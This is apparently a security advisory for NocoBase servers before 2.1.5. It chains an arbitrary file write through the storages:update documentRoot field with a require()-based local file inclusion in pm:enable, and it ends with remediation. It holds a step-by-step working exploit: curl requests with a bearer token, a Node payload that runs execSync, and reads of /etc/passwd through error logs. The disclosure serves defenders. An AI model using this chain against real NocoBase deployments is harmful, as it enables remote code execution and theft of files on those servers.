NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution

Overview

Executive Summary

Two vulnerabilities were identified and chained to achieve authenticated remote code execution

The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized documentRoot value to the storages:update API. The second vulnerability allows the same admin to trigger Node.js require() on any absolute filesystem path via the pm:enable plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).

Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.

A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.

VULN 1: Arbitrary File Write via storages:update documentRoot Manipulation

Summary

The file-manager plugin's storage update endpoint accepts an arbitrary documentRoot value without validation. An authenticated admin can overwrite a storage record's documentRoot to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.

Vulnerable Components

packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts | getDocumentRoot() L24–27 | packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts | createMiddleware() Server route: POST /api/storages:update Server route: POST /api/attachments:upload

Root Cause

getDocumentRoot() resolves the documentRoot field from the storage record:

// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts
const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =
  this.storage.options || {};

return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));

resolveSafePath() is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) documentRoot as its safe root. There is no validation on the documentRoot value itself at creation or update time. An admin can set documentRoot to any path (/, /etc, /var/www/html, the app root) and the upload will write there.

The creation endpoint (storages:create) also accepts arbitrary documentRoot, but the update endpoint is worse: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.

Steps to Reproduce

Prerequisites: Admin session token.

Step 1 Get the local storage ID:

curl -s "http://192.168.228.130:13000/api/storages" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"

Storage ID on this target: 366584416632832

Step 2 Create the RCE payload:

cat > /tmp/rce_proof.js << 'EOF'
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('id; whoami; hostname').toString();
fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);
module.exports = {};
EOF

Step 3 Redirect storage documentRoot to app CWD:

curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
  -H "Content-Type: application/json" \
  -d '{"options":{"documentRoot":"."},"default":true}'

<img width="826" height="304" alt="image" src="https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66" />

Step 4 upload the RCE payload:

The payload writes output to the NocoBase uploads directory, which is served statically on port 13000

curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
  -F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript"

<img width="826" height="322" alt="image" src="https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72" />

Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below

VULN 2: Error-Based Local File Inclusion via pm:enable Unsanitized requireModule() Call

Overview

pm:enable passes filterByTk directly to require() with no path validation. This is a standalone LFI primitive with two modes:

• Non-JS files (e.g. /etc/passwd): Node.js parses them as JavaScript, fails with a SyntaxError that embeds the file content in the error message. That error is written to system_error_YYYY-MM-DD.log and is downloadable via logger:download giving an attacker blind/error-based file read.
• JS files (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01.

Root Cause

The enable action takes filterByTk from query params and passes it directly to the CLI runner with zero validation:

// packages/core/server/src/plugin-manager/options/resource.ts  L141-151
async enable(ctx, next) {
  const { filterByTk } = ctx.action.params;   // ← raw user input
  if (!filterByTk) {
    ctx.throw(400, 'plugin name invalid');
  }
  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];
  app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' });  // ← no sanitization
  ctx.body = filterByTk;
  await next();
},

The CLI handler calls requireModule(key):

// packages/core/utils/src/requireModule.ts
export function requireModule(m: any) {
  if (typeof m === 'string') {
    m = require(m);   // ← arbitrary file executed as Node.js module
  }
  if (typeof m !== 'object') { return m; }
  return m.__esModule ? m.default : m;
}

assertSafePluginPackageName() exists in the codebase (validates against absolute paths and ..) but is never invoked in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → require().

Steps to Reproduce Error-Based File Read (Standalone)

Step 1 Trigger require() on any file:

curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \
  -H "Authorization: Bearer TOKEN"
# Response: {"data":"/etc/passwd"} — 200 OK

Node.js attempts to parse /etc/passwd as a JavaScript module. It fails at the first : character with:

<img width="2064" height="530" alt="image" src="https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8" />

and we see the error message after sending the request:

<img width="1036" height="380" alt="image" src="https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400" />

Step 2 navigate to the logger and download the system error log

<img width="1142" height="720" alt="image" src="https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d" />

now when we extract the .tar file we can see proof of local file inclusion (partial in this response):

<img width="1264" height="268" alt="image" src="https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8" />

Remote code execution

With our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it

curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"

Retrieve output via NocoBase static file serving

<img width="832" height="214" alt="image" src="https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2" /> <img width="810" height="96" alt="image" src="https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562" />

Affected packages

• @nocobase/server < 2.1.5

Remediation

Upgrade to a patched release:

• @nocobase/server 2.1.5